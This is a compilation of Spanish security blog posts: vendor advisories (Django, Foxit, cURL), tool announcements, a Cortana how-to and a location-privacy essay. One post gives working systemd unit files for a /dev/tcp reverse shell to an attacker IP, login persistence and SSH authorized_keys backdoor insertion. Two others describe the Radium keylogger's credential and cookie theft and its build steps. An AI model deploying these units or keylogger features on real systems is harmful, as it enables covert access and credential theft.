Esta actualización está disponible a través de Chrome Update automáticamente en los equipos así configurados o a través de "Información sobre Google Chrome" (chrome://chrome/).

Más información:

una-al-dia (29/10/2016) El Mobile Pwn2Own 2016 revela vulnerabilidades en iPhone 6S y Nexus 6P

Stable Channel Update for Desktop


Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

Abusando de los servicios de usuario de systemd

$
0
0
No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc.

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/.

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:
[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Sólo tenemos que copiar el fichero al dir correspondiente e iniciarlo con: $ systemctl --user start voodoo

Si la máquina del atacante está escuchando en el puerto indicado ($ echo "touch /tmp/systemd-test-backdoor" | nc -l 31337) y se tiene acceso desde el equipo de la víctima obtendremos inmediatamente la shell. Bastante sencillo, ¿verdad?

Pues no menos sencillo es conseguir persistencia. Sólo tenemos que activar el servicio con $ systemctl --user enable voodoo y, cada vez que un usuario se valide, systemd lanzará la shell inversa.

Podéis imaginaros que las posibilidades son muchas y variadas. Si queremos por ejemplo backdoorizar el acceso SSH podemos crear un fichero unit como el siguiente (fijaros que al contrario de lo que se hace normalmente ExecStop ejecuta el código y ExecStart lo limpia):
[Unit]
description=Totally not a virus, trust me I'm a dolphin
[Service]
RemainAfterExit=yes
Type=simple
ExecStop=/bin/bash -c 'mkdir -p $HOME/.ssh && touch $HOME/.ssh/authorized_keys; [ "$(grep "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" $HOME/.ssh/authorized_keys)" ] || echo "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH">> $HOME/.ssh/authorized_keys'
ExecStart=/bin/bash -c 'sed -i \'/ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH/d\' $HOME/.ssh/authorized_keys'

[Install]
WantedBy=default.target

Y esto sólo son PoC... un atacante malintencionado iría aún más lejos y podría por ejemplo detectar cualquier usuario interactivo usando inotify en utmp para hacer menos ruido, encadenar archivos de servicio para detectar cuando otro interactúa, abusar de los aspectos en memoria de los archivos de servicio para ocultarse, secuestrar variables de entorno, obtener info en tiempo de ejecución de /proc, etc.

En definitiva, ¿cuándo fue la última vez que ejecutaste systemctl --user? No es que sea muy novedoso, pero es otra técnica a tener en cuenta y otro lugar que los administradores deben vigilar.

Fuentes:
- abusing systemd user services
- systemd/User (Español)

Via:www.hackplayers.com

Radium-Keylogger - Python keylogger with multiple features

$
0
0

Python keylogger with multiple features.

Features
  • Applications and keystrokes logging
  • Screenshot logging
  • Drive tree structure
  • Logs sending by email
  • Password Recovery for
    • Chrome
    • Mozilla
    • Filezilla
    • Core FTP
    • CyberDuck
    • FTPNavigator
    • WinSCP
    • Outlook
    • Putty
    • Skype
    • Generic Network
  • Cookie stealer
  • Keylogger stub update mechanism
  • Gather system information
    • Internal and External IP
    • Ipconfig /all output
    • Platform

Usage
  • Download the libraries if you are missing any.
  • Set the Gmail username and password and remember to check allow connection from less secure apps in gmail settings.
  • Set the FTP server. Make the folder Radium in which you'll store the new version of exe.
  • Set the FTP ip, username, password.
  • Remember to encode the password in base64.
  • Set the originalfilename variable in copytostartup(). This should be equal to the name of the exe.
  • Make the exe using Pyinstaller
  • Keylogs will be mailed after every 300 key strokes. This can be changed.
  • Screenshot is taken after every 500 key strokes. This can be changed.
  • Remember: If you make this into exe, change the variable "originalfilename" and "coppiedfilename" in function copytostartup().
  • Remember: whatever name you give to "coppiedfilename", should be given to checkfilename in deleteoldstub().

Things to work on
  • Persistance
  • Taking screenshots after a specific time. Making it keystrokes independent.
  • Webcam logging
  • Skype chat history stealer
  • Steam credential harvestor


Requirements

Tutorial



Via:www.kitploit.com

Nuevas versiones de Django solucionan varias vulnerabilidades

$
0
0
La Django Software Foundation ha publicadonuevas versiones de las ramas 1.10, 1.9 y 1.8 de Django, que solucionan dos vulnerabilidades que permitirían acceder a la base de datos sin autorización o la realización de ataques de cross-site scripting.

Django es un framework de código abierto basado en Python para el desarrollo de sitios web siguiendo el patrón MVC (Modelo-Vista-Controlador). Fue publicado por primera vez en 2005, y desde entonces su uso ha experimentado un considerable crecimiento entre los desarrolladores. Se compone de una serie de herramientas para facilitar la creación de páginas Web, siguiendo las directrices 'DRY' (Do not repeat yourself – No se repita) evitando redundancias de código y consecuentemente reduciendo tiempo y esfuerzo.

La primera vulnerabilidad, con CVE-2016-9013, reside en la creación de una contraseña estática al ejecutar tests con bases de datos Oracle. Esto podría permitir a un atacante con acceso al servidor de base de datos conectarse con esa contraseña. Generalmente el usuario es eliminado una vez se completan los tests, pero en determinadas circunstancias puede mantenerse.

Por otra parte, con CVE-2016-9014, una vulnerabilidad por la falta de validación de la cabecera Host contra settings.ALLOWED_HOSTS cuando settings.DEBUG=True. Lo que hace que sea vulnerable a ataques DNS rebinding, que puede convertir el sistema en un proxy. Como Django no incluye un módulo que permita la ejecución remota, esto podría facilitar, al menos, la realización de ataques de cross-site scripting. Pero si un proyecto usa un paquete como django-debug-toolbar, podría facilitar la realziación de ataques de inyección SQL.

De forma adicional, Django incluye un aviso de seguridad en relación a un problema de una fuga de información de la huella digital en redes sociales que se ha anunciado recientemente. El problema reside en que sitios webs de terceros pueden determinar si los visitantes están autenticados en algunas redes sociales, por la redirección del usuario autenticado en la página de login.

Django Software Foundation ha publicado las versiones 1.10.3, 1.9.11 y 1.8.16 de Django que solucionan estas vulnerabilidades. Las actualizaciones están disponibles desde:
También se han publicado parches individuales para cada una de las vulnerabilidades.

Más información:

Django security releases issued: 1.10.3, 1.9.11 and 1.8.16

Your Social Media Fingerprint





Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

Radium, un keylogger escrito en Python

$
0
0
En los años 70 espías soviéticos instalaron keyloggers en las máquinas de escribir eléctricas modelo Selectric de la embajada de EE.UU. y del Consulado. En la actualidad, los servicios especiales rusos siguen utilizando máquinas de escribir manuales para tratar información clasificada...

Los keyloggers tanto de hardware como de software son tan casi antiguos como la propia informática y están presentes desde el mismo nacimiento del hacking, los ha habido y habrá siempre. Hoy os traemos uno más (que no menos): Radium, un keylogger escrito en Python, capaz de espiar tanto aplicaciones como pulsaciones de teclas. Además, puede registrar capturas de pantalla de la acción del usuario como el malware CloudFanta. Pero lo mejor es que tenemos disponible el código con enorme *potencial* educativo :)

https://github.com/mehulj94/Radium-Keylogger

Características

- Registro de aplicaciones y pulsaciones de teclas
- Registro de capturas de pantalla
- Extracción de la estructura del árbol de directorios de la unidad
- Envío de logs por correo electrónico
- Recuperación de la contraseña para:
        . Chrome
        . Mozilla
        . Filezilla
        . Core FTP
        . CyberDuck
        . FTPNavigator
        . WinSCP
        . Outlook
        . Putty
        . Skype
        . Genéricas de red
- Robo de cookies
- Mecanismo de actualización del stub de Keylogger
- Recopilación de información del sistema
        . IP interna y externa
        . Salida de Ipconfig /all
        . Plataforma

Uso

- Descarga las bibliotecas si te falta alguna.
- Configura el nombre de usuario y la contraseña de Gmail y recuerda que debes activar la opción de permitir aplicaciones menos seguras en la configuración de Gmail.
- Prepara el servidor FTP. Crea el directorio Radium donde se guardarán las nuevas versiones del exe.
- Configura la ip del servidor FTP, nombre de usuario y contraseña.
- Recuerda que debes codificar la contraseña en base64.
- Establece la variable originalfilename en copytostartup(). Esta debe ser igual al nombre del exe.
- Crea el exe con Pyinstaller
- Los keylogs se enviarán por correo cada 300 pulsaciones de tecla. Esto se puede cambiar.
- Las capturas de pantalla se realizan cada 500 pulsaciones y también se puede cambiar.
- Recuerda: Si usas un exe, cambia la variable "originalfilename" y "coppiedfilename" en la función copytostartup().
- Recuerda: cualquier nombre que le des a "coppiedfilename", debe ser puesto a checkfilename en deleteoldstub().

TODO

- Persistencia
- Tomar capturas de pantalla después de un tiempo específico haciendo que las pulsaciones de teclas sean independientes.
- Logging de la cámara web
- Un stealer para el historial del chat de Skype
- Harvester de credenciales de Steam

Requisitos

- Instalar PyHook
- Instalar PyWin32
- Instalar el compilador de Microsoft Visual C ++ para Python
- Instalar PyInstaller
   
Tutorial

Via:www.hackplayers.com

MetaShield Protector Clean-UP Online & Analyzer

$
0
0
Ha pasado justo un mes desde que tuvimos nuestro Security Innovation Day 2016, pero aún no he terminado de contaros todas las novedades de seguridad que anunciamos allí. Hoy quiero hablar de otra actualización que hicimos en la familia de productos Metashield Protector. En este caso con Metashield Protector Clean-Up Online y Metashield Analyzer.

Figura 1: Metashield Protector Clean-Up Online & Analyzer

Como ya sabréis los que llevéis leyendo tiempo este blog, MetaShield Protector es un producto que creamos para evitar que hubiera fugas de información de datos sensibles de la empresa a partir de metadatos e información oculta en documentos ofimáticos que salen de la organización. Cada vez que se edita o se crea un documento, éste almacena información del equipo y/o la red desde donde se editó, llevándose información de software, direcciones IP, nombres de usuario, etcétera. 
Para evitar esto creamos una familia de productos denominada Metashield Protector que revisan los documentos antes de que salgan de la organización. Desde la versión Client para eliminar los metadatos manualmente, hasta la versión Metashield Protector for Exchange que elimina las fugas de información en los archivos que salen como adjuntos de los correos electrónicos de la organización, pasando por la versión para MS Outlook, para Office 365, para los servidores de ficheros, o los servidores web.


Figura 3: Demo de Metashield para Office 365

La familia ha crecido mucho, e incluso se ha integrado en soluciones como Fortinet, donde cada documento que pasa por el firewall es enviado vía ICAP al motor de Metashield Protector para que sea limpiado, tal y como se ve en la demostración de 4 minutos que tienes en el vídeo.


Figura 4: Demostración de Metashield for ICAP integrado con Fortinet

Ahora, completamos el círculo con la versión Metashield Protector Clean-Up Online y con Metashield Analyzer, donde lo que hemos hecho ha sido crear una versión en modo portal web con una integración que puede recibir las peticiones vía API JSON para que desde cualquier rincón de tu organización, desde cualquier sistema, se pueda enviar un documento y recibir tanto el documento limpio, como los metadatos y la información oculta que se encontraba en él.


Figura 5: Metashield Clean-Up Online

Con estos dos productos, ampliamos un poco más la familia y permitimos a los clientes que puedan integrar la limpieza de documentos en los procesos de negocio que ellos quieran de la forma que quieran, además de darle a los administradores y consola centralizada para gestionar las fugas de información que se producen en sus empresas por medio del flujo de documentos.

Saludos Malignos!

Via:www.elladodelmal.com

OpenDoor - OWASP Directory Access Scanner

$
0
0

This application scans the site directories and find all possible ways to login, empty directories and entry points. Scans conducted in the dictionary that is included in this application. This software is written for informational purposes and is an open source product under the GPL license.
Testing of the software on the commercial systems and organizations is prohibited!

Requirements
  • Python 2.7.x

Install Dependencies
sudo pip install -r requirements.txt  

Implements
  • multithreading
  • filesystem log
  • detect redirects
  • random user agent
  • random proxy from proxy list
  • verbose mode
  • subdomains scanner

Changelog
  • v1.0.0 - all the basic functionality is available
  • v1.0.1 - added debug level as param --debug
  • v1.2.1 - added filesystem logger (param --log)
  • v1.2.2 - added example of usage (param --examples)
  • v1.3.2 - added posibility to use random proxy from proxylist (param --proxy)
  • v1.3.3 - simplify dependency installation
  • v1.3.4 - added code quality watcher
  • v1.3.5 - added ReadTimeoutError ProxyError handlers
  • v1.3.51 - fixed code style, resolve file read errors
  • v1.3.52 - code docstyle added
  • v2.3.52 - subdomains scan available! (param --check subdomains). Added databases

Basic usage
python ./opendoor.py --url "http://joomla-ua.org"

Help
usage: opendoor.py [-h] [-u URL] [--update] [--examples] [-v] [-c CHECK]
[-t THREADS] [-d DELAY] [-r REST] [--debug DEBUG] [-p] [-l]
optional arguments:
-h, --help show this help message and exit
--update Update from version control
--examples Examples of usage
-v, --version Get current version
-c CHECK , --check CHECK
Directory scan eg --check=directories or subdomains
(directories by default)
-t THREADS , --threads THREADS
Allowed threads
-d DELAY , --delay DELAY
Delay between requests
-r REST , --rest REST
Request timeout
--debug DEBUG Debug level (0 by default)
-p, --proxy Use proxy list
-l, --log Use filesystem log
required named arguments:
-u URL , --url URL
URL or page to scan; -u http://example.com



Via:www.kitploit.com

Vulnerabilidades en Foxit Reader y Foxit PhantomPDF

$
0
0
Foxit ha corregido un total de seis vulnerabilidades que afectan a Foxit Reader y Foxit PhantomPDF que podrían permitir a un atacante provocar denegaciones de servicio, obtener información sensible o la ejecución de código arbitrario.

Foxit es un lector de PDF de la compañía Foxit Software, gratuito en su versión Reader y con versión de pago que permite modificar PDFs. Se encuentra disponible para sistemas operativos Windows y GNU/Linux, y en forma de plugin para navegadores web. Supone una alternativa más ligera y menos "atacada" al lector de Adobe.

Los problemas corregidos se deben a corrupciones de memoria, uso de memoria después de liberarla, lectura y escritura fuera de límites, desreferencia de puntero nulo, desbordamiento de búfer y desbordamiento de entero. Se ven afectados Foxit Reader 8.0.5 (y anteriores) para Windows y Foxit PhantomPDF 8.0.5 (y anteriores) para Windows.

Por otra parte, también ha publicado Foxit Reader para Mac y Linux 2.2 que soluciona una vulnerabilidad debido a permisos de archivo débiles, que podrían ser aprovechadas por atacantes para ejecutar código arbitrario y conseguir elevar privilegios (CVE-2016-8856).

Los problemas han sido corregidos en las versiones de Foxit Reader 8.1 para Windows, Foxit Reader 2.2 para Mac/Linux y Foxit PhantomPDF 8.1.

Para actualizar las aplicaciones se puede realizar desde la pestaña "Help" de Foxit Reader o Foxit PhantomPDF, en la opción "Check for Update".
O descargando las versiones actualizadas desde:

Más información:

Security updates available in Foxit Reader 8.1 and Foxit PhantomPDF 8.1
Security updates available in Foxit Reader for Mac and Linux 2.2


Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

Cómo usar Cortana en Español de Windows 10 desde Android

$
0
0
Como muchos sabréis ya esta disponible la Apk de Cortana para Android - el asistente virtual de Microsoft que viene con Windows 10 - con un pequeño inconveniente para algunos, y es que de momento, sólo esta disponible en inglés para Android mientras que en Windows está ya en Español. Mediante la presente entrada y con el método que veras a continuación ya puedes probar Cortana desde Android en Español usando remotamente la versión de tu Windows y configurar los comandos de voz a tu gusto y necesidades. o si lo prefieres,  puedes crearlos tu mismo desde cero y renombrar algunos de los existentes por alguna frase que te resulten mas fáciles de recordar,

Figura 1: Cómo usar Cortana en Español de Windows 10 desde un Android

Si eres de los que últimamente ha estado jugando con Cortana como yo en Windows 10, habrás podido observar que no trae implementados algunos comandos de voz tan básicos y de un uso tan cotidiano como lo son: reiniciar, apagar, suspender, hibernar, cerrar sesión o cambiar de usuario. Los accesos directos/comandos de voz deberas crearlos en el escritorio. ¿Por qué? porque en el directorio de anclaje solo se te permite crear una nueva carpeta, una vez creados ya puedes proceder ha anclarlos tal y como se muestra en el siguiente vídeo:

Figura 2: Cómo crear nuevos comandos de voz para Cortana en Windows 10

Ahora vamos a la segunda parte de como controlar la versión de Cortana en Español que viene en Windows 10 desde tú Android , para lo que hay que hacer un poco más de trabajo. Para ello tendrás que hacer uso de dos aplicaciones que puedes descargar directamente desde Google  Play de forma gratuita Wo Mic (Micrófono Wireless) y TouchRemote PC Software (Control Remoto) en mi caso. Los enlaces de descarga de estos programas son:

Wo Mic
- Wo Mic.apk
- Wo Mic Cliente.exe
- Wo Mic Controlador.exe
TouchRemote PC
TouchRemote PC Software.apk
- TouchRemote PC Cliente.exe 
Para que ambas aplicaciones funcionen correctamente, lo primero es instalar el cliente en tu Windows de TouchRemotePC y para Wo Mic que hay que instalar el cliente, el controlador y abrir un par de puertos en el router.
"...El controlador es el encargado de simular un dispositivo de audio virtual, antes de proceder con su instalación asegúrate de estar conectado a internet, de lo contrario la instalación fallara..."
Cuando le ordenamos a Cortana que haga algo desde Android o a través de el micrófono interno del PC, siempre se abre una ventana emergente en forma de menú con la información solicitada y no siempre se cierra automaticamente. Por ejemplo, cuando se le pide que muestre la predicción del tiempo. De ahí el que sea necesario recurrir a TouchRemote PC.

Pero aún más, ¿podríamos controla una persona muda o sordomuda controlar a Cortana desde Android con comandos de voz en Español o en cualquier otro idioma? Afortunadamente, la respuesta es sí. Y para ello simplemente tienes que crear una lista de archivos de audio con las distintas ordenes/comandos de voz y pasarlos a tu dispositivo como se muestra en el siguiente vídeo;

Figura 3: Cómo controlar a Cortana desde Android en Español

Si te estabas preguntando, cómo lo hago o hace la persona si es muda, queda perfectamente aclarado en el segundo vídeo y lo mejor de todo, es que lo puedes hacer tu mismo. Para ellos solo he utilizado Loquendo, que  no es mas que un sintetizador de voz que te permitirá escribir cualquier texto legible en español u otros idiomas, y el programa lo lee por ti con voces que bien configuradas pueden llegar a aproximarse bastante a la realidad.

Espero que sea de tu agrado de utilidad y te diviertas con Cortana. Si quieres puedes compartir tus comandos de voz e ideas o dudas al respecto en los comentarios, a ver si entre todos conseguimos ampliar un poco mas "los limites de Cortana".


Figura 4: Controlando Siri remotamente con señales RF

Por último, hay que recordar que si dejas activado Cortana en tu equipo, puede ser que alguien más le hable y pueda hacer cosas en tu equipo. Podría llegar a ¿controlarse Cortana desde un vídeo de Youtube? o ¿Podría hablarle remotamente un hacker como vimos que se podía hacer con Siri usando señales de Radio Frecuencia?

Saludos,

Autor: Jonathan Novel (Inseguro y Navegando)

Via:www.elladodelmal.com

RecuperaBit - A Tool For Forensic File System Reconstruction

$
0
0

A software which attempts to reconstruct file system structures and recover files. Currently it supports only NTFS.

RecuperaBit attempts reconstruction of the directory structure regardless of:
  • missing partition table
  • unknown partition boundaries
  • partially-overwritten metadata
  • quick format

You can get more information about the reconstruction algorithms and the architecture used in RecuperaBit by reading my MSc thesis or checking out the slides.

Usage
usage: main.py [-h] [-s SAVEFILE] [-w] [-o OUTPUTDIR] path

Reconstruct the directory structure of possibly damaged filesystems.

positional arguments:
path path to the disk image

optional arguments:
-h, --help show this help message and exit
-s SAVEFILE, --savefile SAVEFILE
path of the scan save file
-w, --overwrite force overwrite of the save file
-o OUTPUTDIR, --outputdir OUTPUTDIR
directory for restored contents and output files
The main argument is the path to a bitstream image of a disk or partition. RecuperaBit automatically determines the sectors from which partitions start.

RecuperaBit does not modify the disk image, however it does read some parts of it multiple times through the execution. It should also work on real devices, such as /dev/sda but this is not advised.
Optionally, a save file can be specified with -s . The first time, after the scanning process, results are saved in the file. After the first run, the file is read to only analyze interesting sectors and speed up the loading phase.

Overwriting the save file can be forced with -w .

RecuperaBit includes a small command line that allows the user to recover files and export the contents of a partition in CSV or body file format. These are exported in the directory specified by -o (or recuperabit_output ).

Pypy
RecuperaBit can be run with the standard cPython implementation, however speed can be increased by using it with the Pypy interpreter and JIT compiler:
pypy main.py /path/to/disk.img

Recovery of File Contents
Files can be restored one at a time or recursively, starting from a directory. After the scanning process has completed, you can check the list of partitions that can be recovered by issuing the following command at the prompt:
recoverable

Each line shows information about a partition. Let's consider the following output example:
Partition #0 -> Partition (NTFS, 15.00 MB, 11 files, Recoverable, Offset: 2048, Offset (b): 1048576, Sec/Clus: 8, MFT offset: 2080, MFT mirror offset: 17400)
If you want to recover files starting from a specific directory, you can either print the tree on screen with the tree command (very verbose for large drives) or you can export a CSV list of files (see help for details).

If you rather want to extract all files from the Root and the Lost Files nodes, you need to know the identifier for the root directory, depending on the file system type. The following are those of file systems supported by RecuperaBit:
File System Type Root Id
NTFS 5

The id for Lost Files is -1 for every file system.

Therefore, to restore Partition #0 in our example, you need to run:
restore 0 5
restore 0 -1
The files will be saved inside the output directory specified by -o .


Via:www.kitploit.com

Múltiples vulnerabilidades en cURL y libcurl

$
0
0
Se ha publicado una nueva versión de la librería libcurl y de la propia herramienta curl, para corregir hasta 11 vulnerabilidades que podrían permitir a un atacante modificar cookies en el sistema, reutilizar sesiones, obtener información sensible o incluso ejecutar código arbitrario.

cURL y libcurl son una herramienta y librería para descargar ficheros mediante la sintaxis URL a través de diferentes protocolos: DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, Telnet y TFTP, y utilizada por millones de usuarios en diversos sistemas operativos, utilidades y aplicaciones webs.

En esta ocasión la lista de problemas corregidos es muy diversa:

Un servidor http malicioso podrá inyectar cookies para dominios arbitrarios si el estado de la cookie está en un archivo cookie jar (CVE-2016-8615). Al reutilizar una conexión, curl realiza comparaciones del nombre de usuario y contraseña sin tener en cuenta las mayúsculas y minúsculas, esto podrá permitir reutilizar una conexión si un atacante conoce una versión de las credenciales sin diferenciar las mayúsculas y minúsculas (CVE-2016-8616).

En sistemas 32 bits, una escritura fuera de límites debido a una multiplicación sin comprobar (CVE-2016-8617). Vulnerabilidades por doble liberación en curl_maprintf (CVE-2016-8618) y en krb5 code (CVE-2016-8619). Lectura y escritura fuera de límites en la característica "globbing" de la herramienta curl (CVE-2016-8620). Lectura fuera de límites en curl_getdate (CVE-2016-8621).

Desbordamiento de búfer en el tratamiento de URLs (CVE-2016-8622). Uso de memoria después de liberarla a través de shared cookies (CVE-2016-8623). Tratamiento unadecuado de URLs con '#' (CVE-2016-8624). Por último, cuando curl se compila con libidn para tratar nombres de dominio internacionales (International Domain Names, IDNA) utiliza el estándar IDNA 2003 para la resolución DNS, aunque el IDNA 2008 es el estándar moderno y actualizado. Esto puede hacer que curl emplee un host erróneo (CVE-2016-8625).

Se ha publicado la versión 7.51.0 que soluciona estas vulnerabilidades y otros problemas no relacionados con fallos de seguridad.
Disponible desde:
También se han publicado parches individuales para evitar las diferentes vulnerabilidades.

Más Información:

cURL and libcurl

Fixed in 7.51.0 - November 2 2016



Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

Cómo instalar todas las herramientas de Kali en Ubuntu 16.04

$
0
0
¿Quieres tener todo el arsenal de Kali en tu distribución Linux? Viendo el impresionante listado actual de herramientas, instalar una a una sería casi imposible o al menos demasiado tedioso, por lo que si quieres armar hasta los dientes a tu distro te recomiendo utilizar Katoolin de Lionsec, un script en Python que automatiza todo el proceso.

Precisamente a continuación podéis ver un vídeo con el uso de este script en la última release de Ubuntu, la 16.04:

Como veis los pasos son tan sencillos como:

1: Actualizar los paquetes del sistema
 
  sudo apt-get update

2: Instalar git

   sudo apt-get install git

3: Descargar el script e instalar las herramientas

   sudo git clone https://github.com/LionSec/katoolin.git
   sudo cp katoolin/katoolin.py /usr/bin/katoolin
   sudo chmod ugo+x /usr/bin/katoolin
   cd /usr/bin
   ./katoolin


Fuente: https://github.com/LionSec/katoolin

Via:www.hackplayers.com

Tú eres: Dónde tú estás. ( O cómo tu ubicación dice quién y cómo eres) #privacidad #datos

$
0
0
Conocer el perfil de una persona es fundamental para el negocio de los datos hoy en día. Conocer quién es, qué le gusta y cómo es, ayuda mucho a los anunciantes a seleccionar el objetivo de su anuncio. Saber que una persona tiene un buen nivel económico, le gustan los coches caros y es de comprar coches de lujo, puede ser fundamental para un anunciante que vender coches de alta gama. O saber que una mujer está embarazada, tu ideología política o si eres una persona impulsiva o reflexiva.

Figura 1: Tú eres "Dónde tú estás"

Saber cosas de tus gustos, tus equipos deportivos, tus cantantes favoritos, tu música, tus amigos, tu estado de ánimo, tus intereses secretos – esos por los que pagas mucho dinero de forma discreta -, tu forma de vivir, tu manera de gestionar tu dinero, etcétera, es algo muy valioso para los que quieren venderte cosas. Saber, en definitiva, quién eres tú mucho mejor de lo que lo sabes tú, y mucho más explícito de lo que tú mismo te definirías. Ya sabes, mucho más allá de “amigo de mis amigos”.

Para hacer ese perfilado los expertos en este negocio utilizan muchos datos. Muchos y muy variados datos obtenidos de muy diversas y peculiares formas. Yo voy a dedicarle varios artículos a esta forma de hacer el perfilado de personas mediante diferentes aspectos, muchos de ellos evidentes, y otros muchos menos evidentes, y para hoy he elegido como primero de ellos la localización. Es decir, dónde estás en un momento dado y a lo largo del tiempo.

¿Cómo se sabe dónde estás?

Conocer dónde una persona está en un determinado momento consiste en tener dos cosas relacionadas: Quién eres tú y Dónde estás.

Responder a quién eres tú fácil para las organizaciones y no tanto para ti controlar esto. Tú eres tu nombre y tus apellidos, tu número de teléfono, tu identificador publicitario, tu huella digital de conexión, tu correo electrónico, tu cuenta de Twitter, tu cuenta de Facebook, tu DNI, tu alias, tu biometría facial, dactilar y tu forma de teclear, tu eres muchas cosas más allá de las que te piensas y cada servicio que quiere saber dónde estás se va a encargar, de una forma u otra, de saber quién eres tú. Os dejo esta charla sobre Big Data y privacidad en la que hablaba de la huella digital de tu conexión.

Figura 2: Big Data y Privacidad

Responder a dónde estás tú, también se puede hacer de diferentes formas, algunas de ellas son evidentes, otras no lo son tanto para los usuarios menos expertos.

- Acceso a la información GPS: Esta parece la forma más entendible por todo el mundo para saber dónde estás. Se basa en pedir permiso de acceso a tu localización y listo.

- Dirección IP de conexión: No es 100% exacta, y puede ser oculta mediante conexiones en la red TOR, servidores Proxy o conexiones VPN, pero no es lo que utiliza la mayoría de la gente y además existen side-channels para comprobar la veracidad o no de esta información.

- Conexión física a la red: Para conectar un terminal móvil a la red hay que hacerlo a un punto físico. En el caso de las operadoras se sabe en todo momento en qué antena física está conectado un terminal cuando está encendido. Si hablamos de cualquier otra conexión – una LAN física o Wi-FI. BlueTooth, Infrarojos o RF– siempre el punto al que te conectas te identifica.

- WarDriving: Este es un caso muy común y es el que utilizan los sistemas operativos iPhone y Android para localizar bien a los terminales. Con la Wi-Fi encendida, es fácil triangularte analizando las redes Wi-Fi que ves (SSID+BSSID) y la potencia de señal de cada una de ellas. Después solo hay que tener en un mapa dónde están todas esas redes, y eso es algo que tanto Google como Apple tienen.

Figura 3: iSniff-GPS capturaba los reportes a Apple de tus redes WiFi


- Side-Chanels: Los trucos son muchos y variados, e incluso sutiles. Hemos visto que existe la posibilidad de robárselo a otros que ya lo sepan, como los ataques a tu cuenta de Facebook usando técnicas basadas en tiempo, o robándosela a la caché de tu navegador usando mediciones de tiempo cargando recursos de servicios de Internet que indican tu ubicación, pero cada cierto tiempo aparece un nuevo método.

¿Cómo te piden tu ubicación?

Conseguir tu localización, aparte de realizarse de diferentes formas, se puede hacer con diferentes excusas o justificaciones a tener en cuenta.

- Explícito: El servicio se basa en tu ubicación, como por ejemplo el mapa de un sistema que navegación que está calculando la mejor ruta para ti, o un localizador de tiendas cerca tuya. El servicio necesita sí o sí conocer tu ubicación porque se basa en ello y tú lo aceptas porque te da un valor. Te ayuda.

Figura 4: Más de 1 Millón de apps quieren acceso a tu ubicación

- Implícito: El servicio necesita conocer tu ubicación para poder funcionar, pero el servicio no se basa en tu ubicación. Este es el caso de todas las aplicaciones que tienen un backend al que se conecta tu app y que recoge tu dirección IP, pero también aquellos que te dan conexión a Internet desde una ubicación concreta para saber que has visitado su tienda o que necesitan saber a qué antena de la red de telefonía está conectado tu terminal para encaminarte las llamadas.

- (PWYP) Pay With Your Privacy: Estos son aquellos servicios que quieren capturar tu ubicación siendo más o menos claros en los Términos y Condiciones y en la Política de Privacidad. Se basan en darte algo – por ejemplo, un juego – a cambio de obtener datos tuyos, como tu ubicación GPS u otros (ya veremos más casos en más artículos). El usuario, siendo consciente o no de lo que esto significa, acepta las condiciones.

Figura 5: ¿Es un justi-precio para ti darle tu ubicación y tus cuentas a este wallpaper?

Buscando en Tacyt, nuestro Big Data para la investigación de apps móviles, es fácil localizar cientos de miles de apps que buscan acceso a tu ubicación. De ellas muchas son explícitas, otras implícitas y otras del tercer grupo PWYP.

- De manera oculta: Estos servicios utilizan formas muy diversas para saber dónde estás. Pueden hacerlo de muchas maneras diferentes utilizando side-chanels, como por ejemplo averiguando dónde estás por las redes Wi-Fi (SSID,BSSID) que tu terminal está detectando y con qué señal cada una, o por la curva de consumo de batería de tu terminal.

¿Qué dice de ti tu ubicación?

La localización es uno de los datos más poderosos – aunque ya veremos otros en artículos siguiente que también tiene su valor – ya que permite obtener mucha información tuya analizándolo de forma discreta o de forma agregada con otros datos. Vamos a hacer un recorrido por ella.

- PoI (Points of Interest): Estas bases de datos son comunes en cada ciudad y en cada mapa. Tienen marcados puntos de interés que van desde monumentos hasta cualquier tienda. Listas de hoteles, gasolineras, restaurantes, tiendas de cómics, peluquerías, ministerios, empresas, etcétera. Es información más o menos pública ubicada en el mapa, por lo que es accesible por todo el mundo. Es fácil para cualquiera que se haya hecho con tu ubicación saber en qué PoI estás en un momento dado.

- Bases de datos oficiales: Existen mucha información relativa a ministerios que da datos de las ubicaciones. El catastro es una de las más populares, y se puede saber información de la vivienda que va desde quién es el dueño hasta el valor del metro cuadrado. Con estos datos se puede añadir a la lista de PoI una lista de viviendas unifamiliares que dice mucho de su dueño.

Con solo estos datos cruzados con tu ubicación se puede saber:
- Dónde vives.
- Dónde veraneas.
- Si la casa es tuya o vives de alquiler.
- Dónde trabajas.
- Qué tiendas visitas.
- Cuál es tu ruta al trabajo.
- Qué gustos tienes.
- Cuál es tu salario estimado.
